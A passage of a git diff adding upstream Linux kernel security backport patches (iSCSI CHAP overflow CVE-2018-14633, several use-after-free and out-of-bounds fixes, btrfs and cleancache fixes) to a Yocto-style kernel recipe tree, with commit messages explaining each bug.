Fri, 11 May 2018 18:24:12 +1000 +Subject: video: uvesafb: Fix integer overflow in allocation + +commit 9f645bcc566a1e9f921bdae7528a01ced5bc3713 upstream. + +cmap->len can get close to INT_MAX/2, allowing for an integer overflow in +allocation. This uses kmalloc_array() instead to catch the condition. + +Reported-by: Dr Silvio Cesare of InfoSect +Fixes: 8bdb3a2d7df48 ("uvesafb: the driver core") +Cc: stable@vger.kernel.org +Signed-off-by: Kees Cook +Signed-off-by: Greg Kroah-Hartman +--- + drivers/video/fbdev/uvesafb.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/fbdev/uvesafb.c b/drivers/video/fbdev/uvesafb.c +index 509d452e8f91..74ac73d3a0e9 100644 +--- a/drivers/video/fbdev/uvesafb.c ++++ b/drivers/video/fbdev/uvesafb.c +@@ -1059,7 +1059,8 @@ static int uvesafb_setcmap(struct fb_cmap *cmap, struct fb_info *info) + info->cmap.len || cmap->start < info->cmap.start) + return -EINVAL; + +- entries = kmalloc(sizeof(*entries) * cmap->len, GFP_KERNEL); ++ entries = kmalloc_array(cmap->len, sizeof(*entries), ++ GFP_KERNEL); + if (!entries) + return -ENOMEM; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0456-56f338b39513-btrfs relocation Only remove reloc rbtrees if reloc control has.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0456-56f338b39513-btrfs relocation Only remove reloc rbtrees if reloc control has.patch new file mode 100644 index 0000000..cd7ba0a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0456-56f338b39513-btrfs relocation Only remove reloc rbtrees if reloc control has.patch @@ -0,0 +1,67 @@ +From 56f338b39513de39679cf0c2da704d4803c9a0d5 Mon Sep 17 00:00:00 2001 +From: Qu Wenruo +Date: Tue, 3 Jul 2018 17:10:07 +0800 +Subject: btrfs: relocation: Only remove reloc rb_trees if reloc control has + been initialized + +[ Upstream commit 389305b2aa68723c754f88d9dbd268a400e10664 ] + +Invalid reloc tree can cause kernel NULL pointer dereference when btrfs +does some cleanup of the reloc roots. + +It turns out that fs_info::reloc_ctl can be NULL in +btrfs_recover_relocation() as we allocate relocation control after all +reloc roots have been verified. +So when we hit: note, we haven't called set_reloc_control() thus +fs_info::reloc_ctl is still NULL. + +Link: https://bugzilla.kernel.org/show_bug.cgi?id=199833 +Reported-by: Xu Wen +Signed-off-by: Qu Wenruo +Tested-by: Gu Jinxiang +Reviewed-by: David Sterba +Signed-off-by: David Sterba +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + fs/btrfs/relocation.c | 23 ++++++++++++----------- + 1 file changed, 12 insertions(+), 11 deletions(-) + +diff --git a/fs/btrfs/relocation.c b/fs/btrfs/relocation.c +index 74257d6436add..31860a71341f8 100644 +--- a/fs/btrfs/relocation.c ++++ b/fs/btrfs/relocation.c +@@ -1311,18 +1311,19 @@ static void __del_reloc_root(struct btrfs_root *root) + struct mapping_node *node = NULL; + struct reloc_control *rc = root->fs_info->reloc_ctl; + +- spin_lock(&rc->reloc_root_tree.lock); +- rb_node = tree_search(&rc->reloc_root_tree.rb_root, +- root->node->start); +- if (rb_node) { +- node = rb_entry(rb_node, struct mapping_node, rb_node); +- rb_erase(&node->rb_node, &rc->reloc_root_tree.rb_root); ++ if (rc) { ++ spin_lock(&rc->reloc_root_tree.lock); ++ rb_node = tree_search(&rc->reloc_root_tree.rb_root, ++ root->node->start); ++ if (rb_node) { ++ node = rb_entry(rb_node, struct mapping_node, rb_node); ++ rb_erase(&node->rb_node, &rc->reloc_root_tree.rb_root); ++ } ++ spin_unlock(&rc->reloc_root_tree.lock); ++ if (!node) ++ return; ++ BUG_ON((struct btrfs_root *)node->data != root); + } +- spin_unlock(&rc->reloc_root_tree.lock); +- +- if (!node) +- return; +- BUG_ON((struct btrfs_root *)node->data != root); + + spin_lock(&root->fs_info->trans_lock); + list_del_init(&root->root_list); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0457.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0457.diff new file mode 100644 index 0000000..05b730f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0457.diff @@ -0,0 +1,76 @@ +diff --git a/fs/btrfs/extent-tree.c b/fs/btrfs/extent-tree.c +index 7283369..5d07c8b 100644 +--- a/fs/btrfs/extent-tree.c ++++ b/fs/btrfs/extent-tree.c +@@ -9111,6 +9111,62 @@ + return cache; + } + ++ ++/* ++ * Iterate all chunks and verify that each of them has the corresponding block ++ * group ++ */ ++static int check_chunk_block_group_mappings(struct btrfs_fs_info *fs_info) ++{ ++ struct btrfs_mapping_tree *map_tree = &fs_info->mapping_tree; ++ struct extent_map *em; ++ struct btrfs_block_group_cache *bg; ++ u64 start = 0; ++ int ret = 0; ++ ++ while (1) { ++ read_lock(&map_tree->map_tree.lock); ++ /* ++ * lookup_extent_mapping will return the first extent map ++ * intersecting the range, so setting @len to 1 is enough to ++ * get the first chunk. ++ */ ++ em = lookup_extent_mapping(&map_tree->map_tree, start, 1); ++ read_unlock(&map_tree->map_tree.lock); ++ if (!em) ++ break; ++ ++ bg = btrfs_lookup_block_group(fs_info, em->start); ++ if (!bg) { ++ btrfs_err(fs_info, ++ "chunk start=%llu len=%llu doesn't have corresponding block group", ++ em->start, em->len); ++ ret = -EUCLEAN; ++ free_extent_map(em); ++ break; ++ } ++ if (bg->key.objectid != em->start || ++ bg->key.offset != em->len || ++ (bg->flags & BTRFS_BLOCK_GROUP_TYPE_MASK) != ++ (em->map_lookup->type & BTRFS_BLOCK_GROUP_TYPE_MASK)) { ++ btrfs_err(fs_info, ++"chunk start=%llu len=%llu flags=0x%llx doesn't match block group start=%llu len=%llu flags=0x%llx", ++ em->start, em->len, ++ em->map_lookup->type & BTRFS_BLOCK_GROUP_TYPE_MASK, ++ bg->key.objectid, bg->key.offset, ++ bg->flags & BTRFS_BLOCK_GROUP_TYPE_MASK); ++ ret = -EUCLEAN; ++ free_extent_map(em); ++ btrfs_put_block_group(bg); ++ break; ++ } ++ start = em->start + em->len; ++ free_extent_map(em); ++ btrfs_put_block_group(bg); ++ } ++ return ret; ++} ++ + int btrfs_read_block_groups(struct btrfs_root *root) + { + struct btrfs_path *path; +@@ -9297,7 +9353,7 @@ + } + + init_global_block_rsv(info); +- ret = 0; ++ ret = check_chunk_block_group_mappings(info); + error: + btrfs_free_path(path); + return ret; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0458-d31152ba0f28-scsi target iscsi Use hex2bin instead of a reimplementation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0458-d31152ba0f28-scsi target iscsi Use hex2bin instead of a reimplementation.patch new file mode 100644 index 0000000..e8806ca --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0458-d31152ba0f28-scsi target iscsi Use hex2bin instead of a reimplementation.patch @@ -0,0 +1,183 @@ +From d31152ba0f282348c9ffbd8436b7a3622064aea6 Mon Sep 17 00:00:00 2001 +From: Vincent Pelletier +Date: Sun, 9 Sep 2018 04:09:26 +0000 +Subject: scsi: target: iscsi: Use hex2bin instead of a re-implementation + +commit 1816494330a83f2a064499d8ed2797045641f92c upstream. + +This change has the following effects, in order of descreasing importance: + +1) Prevent a stack buffer overflow + +2) Do not append an unnecessary NULL to an anyway binary buffer, which + is writing one byte past client_digest when caller is: + chap_string_to_hex(client_digest, chap_r, strlen(chap_r)); + +The latter was found by KASAN (see below) when input value hes expected size +(32 hex chars), and further analysis revealed a stack buffer overflow can +happen when network-received value is longer, allowing an unauthenticated +remote attacker to smash up to 17 bytes after destination buffer (16 bytes +attacker-controlled and one null). As switching to hex2bin requires +specifying destination buffer length, and does not internally append any null, +it solves both issues. + +This addresses CVE-2018-14633. + +Beyond this: + +- Validate received value length and check hex2bin accepted the input, to log + this rejection reason instead of just failing authentication. + +- Only log received CHAP_R and CHAP_C values once they passed sanity checks. + +================================================================== +BUG: KASAN: stack-out-of-bounds in chap_string_to_hex+0x32/0x60 [iscsi_target_mod] +Write of size 1 at addr ffff8801090ef7c8 by task kworker/0:0/1021 + +CPU: 0 PID: 1021 Comm: kworker/0:0 Tainted: G O 4.17.8kasan.sess.connops+ #2 +Hardware name: To be filled by O.E.M. To be filled by O.E.M./Aptio CRB, BIOS 5.6.5 05/19/2014 +Workqueue: events iscsi_target_do_login_rx [iscsi_target_mod] +Call Trace: + dump_stack+0x71/0xac + print_address_description+0x65/0x22e + ? chap_string_to_hex+0x32/0x60 [iscsi_target_mod] + kasan_report.cold.6+0x241/0x2fd + chap_string_to_hex+0x32/0x60 [iscsi_target_mod] + chap_server_compute_md5.isra.2+0x2cb/0x860 [iscsi_target_mod] + ? chap_binaryhex_to_asciihex.constprop.5+0x50/0x50 [iscsi_target_mod] + ? ftrace_caller_op_ptr+0xe/0xe + ? __orc_find+0x6f/0xc0 + ? unwind_next_frame+0x231/0x850 + ? kthread+0x1a0/0x1c0 + ? ret_from_fork+0x35/0x40 + ? ret_from_fork+0x35/0x40 + ? iscsi_target_do_login_rx+0x3bc/0x4c0 [iscsi_target_mod] + ? deref_stack_reg+0xd0/0xd0 + ? iscsi_target_do_login_rx+0x3bc/0x4c0 [iscsi_target_mod] + ? is_module_text_address+0xa/0x11 + ? kernel_text_address+0x4c/0x110 + ? __save_stack_trace+0x82/0x100 + ? ret_from_fork+0x35/0x40 + ? save_stack+0x8c/0xb0 + ? 0xffffffffc1660000 + ? iscsi_target_do_login+0x155/0x8d0 [iscsi_target_mod] + ? iscsi_target_do_login_rx+0x3bc/0x4c0 [iscsi_target_mod] + ? process_one_work+0x35c/0x640 + ? worker_thread+0x66/0x5d0 + ? kthread+0x1a0/0x1c0 + ? ret_from_fork+0x35/0x40 + ? iscsi_update_param_value+0x80/0x80 [iscsi_target_mod] + ? iscsit_release_cmd+0x170/0x170 [iscsi_target_mod] + chap_main_loop+0x172/0x570 [iscsi_target_mod] + ? chap_server_compute_md5.isra.2+0x860/0x860 [iscsi_target_mod] + ? rx_data+0xd6/0x120 [iscsi_target_mod] + ? iscsit_print_session_params+0xd0/0xd0 [iscsi_target_mod] + ? cyc2ns_read_begin.part.2+0x90/0x90 + ? _raw_spin_lock_irqsave+0x25/0x50 + ? memcmp+0x45/0x70 + iscsi_target_do_login+0x875/0x8d0 [iscsi_target_mod] + ? iscsi_target_check_first_request.isra.5+0x1a0/0x1a0 [iscsi_target_mod] + ? del_timer+0xe0/0xe0 + ? memset+0x1f/0x40 + ? flush_sigqueue+0x29/0xd0 + iscsi_target_do_login_rx+0x3bc/0x4c0 [iscsi_target_mod] + ? iscsi_target_nego_release+0x80/0x80 [iscsi_target_mod] + ? iscsi_target_restore_sock_callbacks+0x130/0x130 [iscsi_target_mod] + process_one_work+0x35c/0x640 + worker_thread+0x66/0x5d0 + ? flush_rcu_work+0x40/0x40 + kthread+0x1a0/0x1c0 + ? kthread_bind+0x30/0x30 + ret_from_fork+0x35/0x40 + +The buggy address belongs to the page: +page:ffffea0004243bc0 count:0 mapcount:0 mapping:0000000000000000 index:0x0 +flags: 0x17fffc000000000() +raw: 017fffc000000000 0000000000000000 0000000000000000 00000000ffffffff +raw: ffffea0004243c20 ffffea0004243ba0 0000000000000000 0000000000000000 +page dumped because: kasan: bad access detected + +Memory state around the buggy address: + ffff8801090ef680: f2 f2 f2 f2 f2 f2 f2 01 f2 f2 f2 f2 f2 f2 f2 00 + ffff8801090ef700: f2 f2 f2 f2 f2 f2 f2 00 02 f2 f2 f2 f2 f2 f2 00 +>ffff8801090ef780: 00 f2 f2 f2 f2 f2 f2 00 00 f2 f2 f2 f2 f2 f2 00 + ^ + ffff8801090ef800: 00 f2 f2 f2 f2 f2 f2 00 00 00 00 02 f2 f2 f2 f2 + ffff8801090ef880: f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2 f2 f2 00 +================================================================== + +Signed-off-by: Vincent Pelletier +Reviewed-by: Mike Christie +Signed-off-by: Martin K. Petersen +Signed-off-by: Greg Kroah-Hartman +--- + drivers/target/iscsi/iscsi_target_auth.c | 30 ++++++++++++++---------------- + 1 file changed, 14 insertions(+), 16 deletions(-) + +diff --git a/drivers/target/iscsi/iscsi_target_auth.c b/drivers/target/iscsi/iscsi_target_auth.c +index ab4915c0d933a..f7940fa64d441 100644 +--- a/drivers/target/iscsi/iscsi_target_auth.c ++++ b/drivers/target/iscsi/iscsi_target_auth.c +@@ -26,18 +26,6 @@ + #include "iscsi_target_nego.h" + #include "iscsi_target_auth.h" + +-static int chap_string_to_hex(unsigned char *dst, unsigned char *src, int len) +-{ +- int j = DIV_ROUND_UP(len, 2), rc; +- +- rc = hex2bin(dst, src, j); +- if (rc < 0) +- pr_debug("CHAP string contains non hex digit symbols\n"); +- +- dst[j] = '\0'; +- return j; +-} +- + static void chap_binaryhex_to_asciihex(char *dst, char *src, int src_len) + { + int i; +@@ -241,9 +229,16 @@ static int chap_server_compute_md5( + pr_err("Could not find CHAP_R.\n"); + goto out; + } ++ if (strlen(chap_r) != MD5_SIGNATURE_SIZE * 2) { ++ pr_err("Malformed CHAP_R\n"); ++ goto out; ++ } ++ if (hex2bin(client_digest, chap_r, MD5_SIGNATURE_SIZE) < 0) { ++ pr_err("Malformed CHAP_R\n"); ++ goto out; ++ } + + pr_debug("[server] Got CHAP_R=%s\n", chap_r); +- chap_string_to_hex(client_digest, chap_r, strlen(chap_r)); + + tfm = crypto_alloc_hash("md5", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(tfm)) { +@@ -348,9 +343,7 @@ static int chap_server_compute_md5( + pr_err("Could not find CHAP_C.\n"); + goto out; + } +- pr_debug("[server] Got CHAP_C=%s\n", challenge); +- challenge_len = chap_string_to_hex(challenge_binhex, challenge, +- strlen(challenge)); ++ challenge_len = DIV_ROUND_UP(strlen(challenge), 2); + if (!challenge_len) { + pr_err("Unable to convert incoming challenge\n"); + goto out; +@@ -359,6 +352,11 @@ static int chap_server_compute_md5( + pr_err("CHAP_C exceeds maximum binary size of 1024 bytes\n"); + goto out; + } ++ if (hex2bin(challenge_binhex, challenge, challenge_len) < 0) { ++ pr_err("Malformed CHAP_C\n"); ++ goto out; ++ } ++ pr_debug("[server] Got CHAP_C=%s\n", challenge); + /* + * During mutual authentication, the CHAP_C generated by the + * initiator must not match the original CHAP_C generated by +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0459-915d91836939-exec Limit arg stack to at most 75 of STKLIM.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0459-915d91836939-exec Limit arg stack to at most 75 of STKLIM.patch new file mode 100644 index 0000000..de5545e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0459-915d91836939-exec Limit arg stack to at most 75 of STKLIM.patch @@ -0,0 +1,54 @@ +From 915d918369390e5746794ca0d38a40ba05745b4a Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Fri, 7 Jul 2017 11:57:29 -0700 +Subject: exec: Limit arg stack to at most 75% of _STK_LIM + +commit da029c11e6b12f321f36dac8771e833b65cec962 upstream. + +To avoid pathological stack usage or the need to special-case setuid +execs, just limit all arg stack usage to at most 75% of _STK_LIM (6MB). + +Signed-off-by: Kees Cook +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/exec.c | 11 ++++++----- + 1 file changed, 6 insertions(+), 5 deletions(-) + +diff --git a/fs/exec.c b/fs/exec.c +index 6fa04b3170eea..515081d66c60f 100644 +--- a/fs/exec.c ++++ b/fs/exec.c +@@ -199,8 +199,7 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + + if (write) { + unsigned long size = bprm->vma->vm_end - bprm->vma->vm_start; +- unsigned long ptr_size; +- struct rlimit *rlim; ++ unsigned long ptr_size, limit; + + /* + * Since the stack will hold pointers to the strings, we +@@ -229,14 +228,16 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + return page; + + /* +- * Limit to 1/4-th the stack size for the argv+env strings. ++ * Limit to 1/4 of the max stack size or 3/4 of _STK_LIM ++ * (whichever is smaller) for the argv+env strings. + * This ensures that: + * - the remaining binfmt code will not run out of stack space, + * - the program will have a reasonable amount of stack left + * to work from. + */ +- rlim = current->signal->rlim; +- if (size > READ_ONCE(rlim[RLIMIT_STACK].rlim_cur) / 4) ++ limit = _STK_LIM / 4 * 3; ++ limit = min(limit, rlimit(RLIMIT_STACK) / 4); ++ if (size > limit) + goto fail; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0460-77e6abf43c95-infiniband fix a possible useafterfree bug.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0460-77e6abf43c95-infiniband fix a possible useafterfree bug.patch new file mode 100644 index 0000000..a8732c4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0460-77e6abf43c95-infiniband fix a possible useafterfree bug.patch @@ -0,0 +1,58 @@ +From 77e6abf43c95a39fd97a5fb644c26e303bd60459 Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Fri, 1 Jun 2018 11:31:44 -0700 +Subject: infiniband: fix a possible use-after-free bug + +[ Upstream commit cb2595c1393b4a5211534e6f0a0fbad369e21ad8 ] + +ucma_process_join() will free the new allocated "mc" struct, +if there is any error after that, especially the copy_to_user(). + +But in parallel, ucma_leave_multicast() could find this "mc" +through idr_find() before ucma_process_join() frees it, since it +is already published. + +So "mc" could be used in ucma_leave_multicast() after it is been +allocated and freed in ucma_process_join(), since we don't refcnt +it. + +Fix this by separating "publish" from ID allocation, so that we +can get an ID first and publish it later after copy_to_user(). + +Fixes: c8f6a362bf3e ("RDMA/cma: Add multicast communication support") +Reported-by: Noam Rathaus +Signed-off-by: Cong Wang +Signed-off-by: Jason Gunthorpe +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + drivers/infiniband/core/ucma.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/infiniband/core/ucma.c b/drivers/infiniband/core/ucma.c +index 81dd84d0b68b5..eaadd636c21be 100644 +--- a/drivers/infiniband/core/ucma.c ++++ b/drivers/infiniband/core/ucma.c +@@ -180,7 +180,7 @@ static struct ucma_multicast* ucma_alloc_multicast(struct ucma_context *ctx) + return NULL; + + mutex_lock(&mut); +- mc->id = idr_alloc(&multicast_idr, mc, 0, 0, GFP_KERNEL); ++ mc->id = idr_alloc(&multicast_idr, NULL, 0, 0, GFP_KERNEL); + mutex_unlock(&mut); + if (mc->id < 0) + goto error; +@@ -1262,6 +1262,10 @@ static ssize_t ucma_process_join(struct ucma_file *file, + goto err3; + } + ++ mutex_lock(&mut); ++ idr_replace(&multicast_idr, mc, mc->id); ++ mutex_unlock(&mut); ++ + mutex_unlock(&file->mut); + ucma_put_ctx(ctx); + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0461.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0461.diff new file mode 100644 index 0000000..4a58790 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0461.diff @@ -0,0 +1,34 @@ +diff --git a/arch/x86/kernel/paravirt.c b/arch/x86/kernel/paravirt.c +index 8819ec7..e9e5afd 100644 +--- a/arch/x86/kernel/paravirt.c ++++ b/arch/x86/kernel/paravirt.c +@@ -97,10 +97,12 @@ + struct branch *b = insnbuf; + unsigned long delta = (unsigned long)target - (addr+5); + +- if (tgt_clobbers & ~site_clobbers) +- return len; /* target would clobber too much for this site */ +- if (len < 5) ++ if (len < 5) { ++#ifdef CONFIG_RETPOLINE ++ WARN_ONCE("Failing to patch indirect CALL in %ps\n", (void *)addr); ++#endif + return len; /* call too long for patch site */ ++ } + + b->opcode = 0xe8; /* call */ + b->delta = delta; +@@ -115,8 +117,12 @@ + struct branch *b = insnbuf; + unsigned long delta = (unsigned long)target - (addr+5); + +- if (len < 5) ++ if (len < 5) { ++#ifdef CONFIG_RETPOLINE ++ WARN_ONCE("Failing to patch indirect JMP in %ps\n", (void *)addr); ++#endif + return len; /* call too long for patch site */ ++ } + + b->opcode = 0xe9; /* jmp */ + b->delta = delta; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0462-b261643c6916-USB yurex fix outofbounds uaccess in read handler.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0462-b261643c6916-USB yurex fix outofbounds uaccess in read handler.patch new file mode 100644 index 0000000..545ed07 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0462-b261643c6916-USB yurex fix outofbounds uaccess in read handler.patch @@ -0,0 +1,71 @@ +From b261643c6916c8d4e8571072abdc5e6646054db6 Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Fri, 6 Jul 2018 17:12:56 +0200 +Subject: USB: yurex: fix out-of-bounds uaccess in read handler + +commit f1e255d60ae66a9f672ff9a207ee6cd8e33d2679 upstream. + +In general, accessing userspace memory beyond the length of the supplied +buffer in VFS read/write handlers can lead to both kernel memory corruption +(via kernel_read()/kernel_write(), which can e.g. be triggered via +sys_splice()) and privilege escalation inside userspace. + +Fix it by using simple_read_from_buffer() instead of custom logic. + +Fixes: 6bc235a2e24a ("USB: add driver for Meywa-Denki & Kayac YUREX") +Signed-off-by: Jann Horn +Cc: stable +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/yurex.c | 23 ++++++----------------- + 1 file changed, 6 insertions(+), 17 deletions(-) + +diff --git a/drivers/usb/misc/yurex.c b/drivers/usb/misc/yurex.c +index c3a45da11610a..10f93ca826d18 100644 +--- a/drivers/usb/misc/yurex.c ++++ b/drivers/usb/misc/yurex.c +@@ -413,8 +413,7 @@ static int yurex_release(struct inode *inode, struct file *file) + static ssize_t yurex_read(struct file *file, char *buffer, size_t count, loff_t *ppos) + { + struct usb_yurex *dev; +- int retval = 0; +- int bytes_read = 0; ++ int len = 0; + char in_buffer[20]; + unsigned long flags; + +@@ -422,26 +421,16 @@ static ssize_t yurex_read(struct file *file, char *buffer, size_t count, loff_t + + mutex_lock(&dev->io_mutex); + if (!dev->interface) { /* already disconnected */ +- retval = -ENODEV; +- goto exit; ++ mutex_unlock(&dev->io_mutex); ++ return -ENODEV; + } + + spin_lock_irqsave(&dev->lock, flags); +- bytes_read = snprintf(in_buffer, 20, "%lld\n", dev->bbu); ++ len = snprintf(in_buffer, 20, "%lld\n", dev->bbu); + spin_unlock_irqrestore(&dev->lock, flags); +- +- if (*ppos < bytes_read) { +- if (copy_to_user(buffer, in_buffer + *ppos, bytes_read - *ppos)) +- retval = -EFAULT; +- else { +- retval = bytes_read - *ppos; +- *ppos += bytes_read; +- } +- } +- +-exit: + mutex_unlock(&dev->io_mutex); +- return retval; ++ ++ return simple_read_from_buffer(buffer, count, ppos, in_buffer, len); + } + + static ssize_t yurex_write(struct file *file, const char *user_buffer, size_t count, loff_t *ppos) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0463-2f294385874e-cdrom Fix info leakOOB read in cdromioctldrivestatus.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0463-2f294385874e-cdrom Fix info leakOOB read in cdromioctldrivestatus.patch new file mode 100644 index 0000000..43814d2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0463-2f294385874e-cdrom Fix info leakOOB read in cdromioctldrivestatus.patch @@ -0,0 +1,38 @@ +From 2f294385874e8e152f357531aa177a19560c8a64 Mon Sep 17 00:00:00 2001 +From: Scott Bauer +Date: Thu, 26 Apr 2018 11:51:08 -0600 +Subject: cdrom: Fix info leak/OOB read in cdrom_ioctl_drive_status + +commit 8f3fafc9c2f0ece10832c25f7ffcb07c97a32ad4 upstream. + +Like d88b6d04: "cdrom: information leak in cdrom_ioctl_media_changed()" + +There is another cast from unsigned long to int which causes +a bounds check to fail with specially crafted input. The value is +then used as an index in the slot array in cdrom_slot_status(). + +Signed-off-by: Scott Bauer +Signed-off-by: Scott Bauer +Cc: stable@vger.kernel.org +Signed-off-by: Jens Axboe +Signed-off-by: Greg Kroah-Hartman +--- + drivers/cdrom/cdrom.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c +index 998991a365b8c..81fb29741dc1c 100644 +--- a/drivers/cdrom/cdrom.c ++++ b/drivers/cdrom/cdrom.c +@@ -2525,7 +2525,7 @@ static int cdrom_ioctl_drive_status(struct cdrom_device_info *cdi, + if (!CDROM_CAN(CDC_SELECT_DISC) || + (arg == CDSL_CURRENT || arg == CDSL_NONE)) + return cdi->ops->drive_status(cdi, CDSL_CURRENT); +- if (((int)arg >= cdi->capacity)) ++ if (arg >= cdi->capacity) + return -EINVAL; + return cdrom_slot_status(cdi, arg); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0464-599379965a37-mm cleancache fix corruption on missed inode invalidation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0464-599379965a37-mm cleancache fix corruption on missed inode invalidation.patch new file mode 100644 index 0000000..9445d0f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0464-599379965a37-mm cleancache fix corruption on missed inode invalidation.patch @@ -0,0 +1,76 @@ +From 599379965a37d87155f6c98196cd0e6ca1537c70 Mon Sep 17 00:00:00 2001 +From: Pavel Tikhomirov +Date: Fri, 30 Nov 2018 14:09:00 -0800 +Subject: mm: cleancache: fix corruption on missed inode invalidation + +commit 6ff38bd40230af35e446239396e5fc8ebd6a5248 upstream. + +If all pages are deleted from the mapping by memory reclaim and also +moved to the cleancache: + +__delete_from_page_cache + (no shadow case) + unaccount_page_cache_page + cleancache_put_page + page_cache_delete + mapping->nrpages -= nr + (nrpages becomes 0) + +We don't clean the cleancache for an inode after final file truncation +(removal). + +truncate_inode_pages_final + check (nrpages || nrexceptional) is false + no truncate_inode_pages + no cleancache_invalidate_inode(mapping) + +These way when reading the new file created with same inode we may get +these trash leftover pages from cleancache and see wrong data instead of +the contents of the new file. + +Fix it by always doing truncate_inode_pages which is already ready for +nrpages == 0 && nrexceptional == 0 case and just invalidates inode. + +[akpm@linux-foundation.org: add comment, per Jan] +Link: http://lkml.kernel.org/r/20181112095734.17979-1-ptikhomirov@virtuozzo.com +Fixes: commit 91b0abe36a7b ("mm + fs: store shadow entries in page cache") +Signed-off-by: Pavel Tikhomirov +Reviewed-by: Vasily Averin +Reviewed-by: Andrey Ryabinin +Reviewed-by: Jan Kara +Cc: Johannes Weiner +Cc: Mel Gorman +Cc: Matthew Wilcox +Cc: Andi Kleen +Cc: +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Vasily Averin +Signed-off-by: Greg Kroah-Hartman +--- + mm/truncate.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/mm/truncate.c b/mm/truncate.c +index dff252c03f3b7..d4c3e9627701b 100644 +--- a/mm/truncate.c ++++ b/mm/truncate.c +@@ -457,9 +457,13 @@ void truncate_inode_pages_final(struct address_space *mapping) + */ + spin_lock_irq(&mapping->tree_lock); + spin_unlock_irq(&mapping->tree_lock); +- +- truncate_inode_pages(mapping, 0); + } ++ ++ /* ++ * Cleancache needs notification even if there are no pages or shadow ++ * entries. ++ */ ++ truncate_inode_pages(mapping, 0); + } + EXPORT_SYMBOL(truncate_inode_pages_final); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0465-b1c0a2b920e6-sunrpc useafterfree in svcprocesscommon.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0465-b1c0a2b920e6-sunrpc useafterfree in svcprocesscommon.patch new file mode 100644 index 0000000..f5cc636 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0465-b1c0a2b920e6-sunrpc useafterfree in svcprocesscommon.patch @@ -0,0 +1,156 @@ +From b1c0a2b920e66a6cd90644e5cbbd861b755f40fa Mon Sep 17 00:00:00 2001 +From: Vasily Averin +Date: Mon, 24 Dec 2018 14:44:52 +0300 +Subject: sunrpc: use-after-free in svc_process_common() + +commit d4b09acf924b84bae77cad090a9d108e70b43643 upstream. + +if node have NFSv41+ mounts inside several net namespaces +it can lead to use-after-free in svc_process_common() + +svc_process_common() + /* Setup reply header */ + rqstp->rq_xprt->xpt_ops->xpo_prep_reply_hdr(rqstp); <<< HERE + +svc_process_common() can use incorrect rqstp->rq_xprt, +its caller function bc_svc_process() takes it from serv->sv_bc_xprt. +The problem is that serv is global structure but sv_bc_xprt +is assigned per-netnamespace. + +According to Trond, the whole "let's set up rqstp->rq_xprt +for the back channel" is nothing but a giant hack in order +to work around the fact that svc_process_common() uses it +to find the xpt_ops, and perform a couple of (meaningless +for the back channel) tests of xpt_flags. + +All we really need in svc_process_common() is to be able to run +rqstp->rq_xprt->xpt_ops->xpo_prep_reply_hdr() + +Bruce J Fields points that this xpo_prep_reply_hdr() call +is an awfully roundabout way just to do "svc_putnl(resv, 0);" +in the tcp case. + +This patch does not initialiuze rqstp->rq_xprt in bc_svc_process(), +now it calls svc_process_common() with rqstp->rq_xprt = NULL. + +To adjust reply header svc_process_common() just check +rqstp->rq_prot and calls svc_tcp_prep_reply_hdr() for tcp case. + +To handle rqstp->rq_xprt = NULL case in functions called from +svc_process_common() patch intruduces net namespace pointer +svc_rqst->rq_bc_net and adjust SVC_NET() definition. +Some other function was also adopted to properly handle described case. + +Signed-off-by: Vasily Averin +Cc: stable@vger.kernel.org 